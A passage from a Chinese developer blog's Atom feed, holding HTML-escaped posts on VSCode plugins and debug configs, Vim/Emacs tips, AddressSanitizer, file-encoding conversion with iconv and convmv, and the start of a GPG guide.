&lt;tr&gt;&lt;td&gt;属性&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;odd&#x2F;even&lt;&#x2F;code&gt;, &lt;code&gt;positive&#x2F;negative&lt;&#x2F;code&gt;, &lt;code&gt;signed&#x2F;unsigned&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;操作&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;send&#x2F;receive&lt;&#x2F;code&gt;, &lt;code&gt;accept&#x2F;reject&lt;&#x2F;code&gt;, &lt;code&gt;push&#x2F;pop&lt;&#x2F;code&gt;, &lt;code&gt;add&#x2F;remove&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;架构&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;master&#x2F;slave&lt;&#x2F;code&gt;, &lt;code&gt;leader&#x2F;follower&lt;&#x2F;code&gt;, &lt;code&gt;client&#x2F;server&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;算法&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;dfs&#x2F;bfs&lt;&#x2F;code&gt;, &lt;code&gt;recursive&#x2F;iterative&lt;&#x2F;code&gt;, &lt;code&gt;linear&#x2F;binary&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;chang-yong-suo-xie&quot;&gt;常用缩写&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;缩写&lt;&#x2F;th&gt;&lt;th&gt;全称&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;COW&lt;&#x2F;td&gt;&lt;td&gt;Copy on Write&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CAS&lt;&#x2F;td&gt;&lt;td&gt;Compare and Swap&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SFINAE&lt;&#x2F;td&gt;&lt;td&gt;Substitution Failure Is Not an Error&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;RAII&lt;&#x2F;td&gt;&lt;td&gt;Resource Acquisition Is Initialization&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;RTTI&lt;&#x2F;td&gt;&lt;td&gt;Runtime Type Information&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CRTP&lt;&#x2F;td&gt;&lt;td&gt;Curiously Recurring Template Pattern&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PIMPL&lt;&#x2F;td&gt;&lt;td&gt;Pointer to Implementation&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSO&lt;&#x2F;td&gt;&lt;td&gt;Small String Optimization&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;EBO&lt;&#x2F;td&gt;&lt;td&gt;Empty Base Optimization&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;GOT&#x2F;PLT&lt;&#x2F;td&gt;&lt;td&gt;Global Offset Table &#x2F; Procedure Linkage Table&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;UAF&lt;&#x2F;td&gt;&lt;td&gt;Use After Free&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>开发环境与工具</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/dev-tools/"/>
        <id>https://vercel.juzhong.asia/2025/07/dev-tools/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/dev-tools/">&lt;h1 id=&quot;kai-fa-huan-jing-yu-gong-ju&quot;&gt;开发环境与工具&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;vscode&quot;&gt;VSCode&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;he-xin-cha-jian&quot;&gt;核心插件&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;插件&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;vscodevim.vim&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Vim 模拟&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;llvm-vs-code-extensions.vscode-clangd&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;C++ LSP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;rust-lang.rust-analyzer&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Rust LSP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ms-vscode.cmake-tools&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;CMake 集成&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;mhutchie.git-graph&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Git 图形化&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;GitHub.copilot&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;AI 补全&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ms-vscode-remote.remote-ssh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;SSH 远程开发&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;shd101wyy.markdown-preview-enhanced&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Markdown 预览&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;bierner.markdown-mermaid&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Mermaid 图表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;ctrl-p-kuai-jie-cao-zuo&quot;&gt;Ctrl+P 快捷操作&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Ctrl+P&lt;&#x2F;code&gt;：快速打开文件&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+P &amp;gt;&lt;&#x2F;code&gt;：进入命令面板（同 &lt;code&gt;Ctrl+Shift+P&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+P :&lt;&#x2F;code&gt;：跳转到行（同 &lt;code&gt;Ctrl+G&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+P @&lt;&#x2F;code&gt;：跳转到符号（同 &lt;code&gt;Ctrl+Shift+O&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+P @:&lt;&#x2F;code&gt;：按分类跳转符号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Ctrl+T&lt;&#x2F;code&gt;：全局符号搜索&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;chang-yong-kuai-jie-jian&quot;&gt;常用快捷键&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;快捷键&lt;&#x2F;th&gt;&lt;th&gt;功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Ctrl+Shift+T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重开刚关闭的页面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Ctrl+Shift+F&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全局文本搜索&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Ctrl+J&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;切换终端&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;F2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重命名符号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;F12&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;跳转到定义&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Ctrl+Alt+R&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;重新加载窗口&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Ctrl+Alt+左&#x2F;右&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;移动标签到其他组&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Ctrl+B&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;切换侧边栏&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;vscode-zhong-pei-zhi-vim-emacs-kuai-jie-jian&quot;&gt;VSCode 中配置 Vim&#x2F;Emacs 快捷键&lt;&#x2F;h3&gt;
&lt;p&gt;安装 &lt;code&gt;vscodevim.vim&lt;&#x2F;code&gt; 插件后，在 &lt;code&gt;keybindings.json&lt;&#x2F;code&gt; 中禁用冲突的快捷键：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[
    {
        &amp;quot;key&amp;quot;: &amp;quot;ctrl+a&amp;quot;,
        &amp;quot;command&amp;quot;: &amp;quot;-extension.vim_ctrl+a&amp;quot;,
        &amp;quot;when&amp;quot;: &amp;quot;editorTextFocus &amp;amp;&amp;amp; vim.active&amp;quot;
    },
    {
        &amp;quot;key&amp;quot;: &amp;quot;ctrl+e&amp;quot;,
        &amp;quot;command&amp;quot;: &amp;quot;-extension.vim_ctrl+e&amp;quot;,
        &amp;quot;when&amp;quot;: &amp;quot;editorTextFocus &amp;amp;&amp;amp; vim.active&amp;quot;
    }
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;diao-shi-pei-zhi-launch-json&quot;&gt;调试配置（launch.json）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;version&amp;quot;: &amp;quot;0.2.0&amp;quot;,
    &amp;quot;configurations&amp;quot;: [
        {
            &amp;quot;name&amp;quot;: &amp;quot;gdb attach&amp;quot;,
            &amp;quot;type&amp;quot;: &amp;quot;lldb&amp;quot;,
            &amp;quot;request&amp;quot;: &amp;quot;attach&amp;quot;,
            &amp;quot;pid&amp;quot;: &amp;quot;${command:pickProcess}&amp;quot;,
            &amp;quot;program&amp;quot;: &amp;quot;${workspaceFolder}&amp;#x2F;target&amp;#x2F;debug&amp;#x2F;app&amp;quot;,
            &amp;quot;setupCommands&amp;quot;: [
                { &amp;quot;text&amp;quot;: &amp;quot;-gdb-set follow-fork-mode child&amp;quot; }
            ]
        },
        {
            &amp;quot;name&amp;quot;: &amp;quot;Python: 当前文件&amp;quot;,
            &amp;quot;type&amp;quot;: &amp;quot;python&amp;quot;,
            &amp;quot;request&amp;quot;: &amp;quot;launch&amp;quot;,
            &amp;quot;program&amp;quot;: &amp;quot;${file}&amp;quot;,
            &amp;quot;console&amp;quot;: &amp;quot;integratedTerminal&amp;quot;
        }
    ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Sudo 调试：&lt;code&gt;debuggerPath&lt;&#x2F;code&gt; 指向包装脚本 &lt;code&gt;sudo-gdb.sh&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
sudo rust-gdb $@
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ren-wu-pei-zhi-tasks-json&quot;&gt;任务配置（tasks.json）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;version&amp;quot;: &amp;quot;2.0.0&amp;quot;,
    &amp;quot;tasks&amp;quot;: [
        {
            &amp;quot;type&amp;quot;: &amp;quot;cargo&amp;quot;,
            &amp;quot;command&amp;quot;: &amp;quot;build&amp;quot;,
            &amp;quot;args&amp;quot;: [&amp;quot;--bin&amp;quot;, &amp;quot;http-proxy&amp;quot;],
            &amp;quot;problemMatcher&amp;quot;: [&amp;quot;$rustc&amp;quot;],
            &amp;quot;group&amp;quot;: &amp;quot;build&amp;quot;,
            &amp;quot;label&amp;quot;: &amp;quot;rust: cargo build http&amp;quot;
        }
    ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;c-cpp-properties-json&quot;&gt;c_cpp_properties.json&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;configurations&amp;quot;: [
        {
            &amp;quot;name&amp;quot;: &amp;quot;Linux&amp;quot;,
            &amp;quot;includePath&amp;quot;: [&amp;quot;${workspaceFolder}&amp;#x2F;**&amp;quot;],
            &amp;quot;compilerPath&amp;quot;: &amp;quot;&amp;#x2F;root&amp;#x2F;.local&amp;#x2F;bin&amp;#x2F;clang&amp;quot;,
            &amp;quot;cStandard&amp;quot;: &amp;quot;c17&amp;quot;,
            &amp;quot;cppStandard&amp;quot;: &amp;quot;c++14&amp;quot;,
            &amp;quot;intelliSenseMode&amp;quot;: &amp;quot;linux-clang-x64&amp;quot;
        }
    ],
    &amp;quot;version&amp;quot;: 4
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;vim-emacs&quot;&gt;Vim &#x2F; Emacs&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;vim-chang-yong-cao-zuo&quot;&gt;Vim 常用操作&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;vim&quot; class=&quot;language-vim &quot;&gt;&lt;code class=&quot;language-vim&quot; data-lang=&quot;vim&quot;&gt;&amp;quot; 临时 root 写权限
:w !sudo tee %

&amp;quot; 粘贴模式（避免自动缩进错乱）
:set paste

&amp;quot; 禁用鼠标
:set mouse=
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;emacs&quot;&gt;Emacs&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;elisp&quot; class=&quot;language-elisp &quot;&gt;&lt;code class=&quot;language-elisp&quot; data-lang=&quot;elisp&quot;&gt;;; 以 root 保存
C-x C-w &amp;#x2F;sudo::&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;source.list

;; Magit diff 细化
(setq magit-diff-refine-hunk t)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;lsp-server&quot;&gt;LSP Server&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pip3 install cmake-language-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;asan-address-sanitizer&quot;&gt;ASan（Address Sanitizer）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;jian-ce-de-cuo-wu-lei-xing&quot;&gt;检测的错误类型&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Use after free（悬垂指针解引用）&lt;&#x2F;li&gt;
&lt;li&gt;Heap buffer overflow &#x2F; Stack buffer overflow &#x2F; Global buffer overflow&lt;&#x2F;li&gt;
&lt;li&gt;Use after return &#x2F; Use after scope（默认关闭）&lt;&#x2F;li&gt;
&lt;li&gt;Memory leaks&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;gong-zuo-yuan-li&quot;&gt;工作原理&lt;&#x2F;h3&gt;
&lt;p&gt;通过影子内存（1:8 压缩比，8 字节对齐）记录主内存可用性。对象前后布置红区（red zone）检测越界，free 后立即投毒（poisoning）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong&quot;&gt;使用&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -fsanitize=address -g main.c -o main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;flyway-checksum-xiu-fu&quot;&gt;Flyway Checksum 修复&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;UPDATE flyway_schema_history SET checksum = -1923952184 WHERE version = 17;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>文件编码处理</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/file-encoding/"/>
        <id>https://vercel.juzhong.asia/2025/07/file-encoding/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/file-encoding/">&lt;h1 id=&quot;wen-jian-bian-ma-chu-li&quot;&gt;文件编码处理&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;cha-kan-wen-jian-bian-ma&quot;&gt;查看文件编码&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;vim-zhong-cha-kan&quot;&gt;Vim 中查看&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;vim&quot; class=&quot;language-vim &quot;&gt;&lt;code class=&quot;language-vim&quot; data-lang=&quot;vim&quot;&gt;:set fileencoding?
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;enca-ming-ling&quot;&gt;enca 命令&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install enca
enca filename    # 对部分 GBK 文件可能返回 &amp;quot;Unrecognized encoding&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;file-ming-ling&quot;&gt;file 命令&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;file -i filename
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wen-jian-nei-rong-bian-ma-zhuan-huan-iconv&quot;&gt;文件内容编码转换（iconv）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iconv -f GBK -t UTF-8 filename -o newfile
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;批量转换：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;find . -name &amp;quot;*.txt&amp;quot; -exec iconv -f GBK -t UTF-8 {} -o {}.utf \;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;enconv&lt;&#x2F;code&gt; 也可用于转换，它是 enca 的转换工具。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-jian-ming-bian-ma-zhuan-huan-convmv&quot;&gt;文件名编码转换（convmv）&lt;&#x2F;h2&gt;
&lt;p&gt;从 Windows 拷贝到 Linux 时，Windows 文件名编码为 GBK，Linux 为 UTF-8，导致文件名乱码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install convmv

# 测试（不实际修改）
convmv -f GBK -t UTF-8 *.txt

# 实际执行
convmv -f GBK -t UTF-8 --notest *.txt

# 递归处理
convmv -f GBK -t UTF-8 -r --notest &amp;#x2F;path&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;vim-bian-ma-she-zhi&quot;&gt;Vim 编码设置&lt;&#x2F;h2&gt;
&lt;p&gt;Vim 四个编码相关选项：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;选项&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;encoding&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Vim 内部使用的编码（buffer、菜单、消息），建议 &lt;code&gt;utf-8&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fileencoding&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;当前编辑文件的编码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;fileencodings&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;打开文件时自动探测编码的尝试顺序&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;termencoding&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;终端编码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;推荐 &lt;code&gt;.vimrc&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;vim&quot; class=&quot;language-vim &quot;&gt;&lt;code class=&quot;language-vim&quot; data-lang=&quot;vim&quot;&gt;set encoding=utf-8
set fileencodings=ucs-bom,utf-8,cp936,gb18030,gbk,gb2312,latin1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Vim 打开文件时：按 &lt;code&gt;fileencodings&lt;&#x2F;code&gt; 顺序探测 → 设置 &lt;code&gt;fileencoding&lt;&#x2F;code&gt; → 若与 &lt;code&gt;encoding&lt;&#x2F;code&gt; 不同则用 iconv 转换。保存时反向转换。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kua-ping-tai-wen-jian-ming-luan-ma-yuan-li&quot;&gt;跨平台文件名乱码原理&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;kun-jin-kao-de-lai-yuan&quot;&gt;&quot;锟斤拷&quot; 的来源&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;Unicode 中无法表示的字符用 &lt;code&gt;�&lt;&#x2F;code&gt;（U+FFFD, REPLACEMENT CHARACTER）表示&lt;&#x2F;li&gt;
&lt;li&gt;UTF-8 下 &lt;code&gt;�&lt;&#x2F;code&gt; 的编码为 &lt;code&gt;0xEF 0xBF 0xBD&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;两个连续的 &lt;code&gt;�&lt;&#x2F;code&gt; 在 UTF-8 中产生：&lt;code&gt;EF BF BD EF BF BD&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;用 GBK 解码这 6 个字节（GBK 每汉字 2 字节）：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;EF BF&lt;&#x2F;code&gt; → 锟&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;BD EF&lt;&#x2F;code&gt; → 斤&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;BF BD&lt;&#x2F;code&gt; → 拷&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;得出&quot;锟斤拷&quot; = UTF-8 → GBK 错误解码的产物&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;tang-tang-tang-he-tun-tun-tun&quot;&gt;&quot;烫烫烫&quot; 和 &quot;屯屯屯&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;VC Debug 模式下栈内存初始化为 &lt;code&gt;0xCC&lt;&#x2F;code&gt;（→&quot;烫&quot;），堆内存初始化为 &lt;code&gt;0xCD&lt;&#x2F;code&gt;（→&quot;屯&quot;）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zheng-que-kua-ping-tai-chuan-shu-wen-jian&quot;&gt;正确跨平台传输文件&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;打包后再传输&lt;&#x2F;strong&gt;：在 Windows 上压缩为 zip，传至 Linux，在 Linux 上用 GBK locale 解压&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;设置 locale 为 GBK&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export LANG=zh_CN.GBK
unzip file.zip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;用 convmv 转换文件名&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;convmv -f GBK -t UTF-8 --notest *.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：如果文件已在 Linux 文件系统上被按 UTF-8 解析过一次，原始 GBK 字节可能已被替换为非法字符，此时用 convmv 也无法恢复。一定要在解压阶段就设置正确的编码环境。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GPG 使用指南</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2026-08-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/gpg/"/>
        <id>https://vercel.juzhong.asia/2025/07/gpg/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/gpg/">&lt;h1 id=&quot;gpg-shi-yong-zhi-nan&quot;&gt;GPG 使用指南&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ji-ben-cao-zuo&quot;&gt;基本操作&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;sheng-cheng-mi-yao&quot;&gt;生成密钥&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg --full-gen-key --expert
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cha-kan-mi-yao&quot;&gt;查看密钥&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg -k          # 公钥
gpg -K          # 私钥
gpg --list-keys --with-keygrip
gpg --fingerprint &amp;lt;key-id&amp;gt;
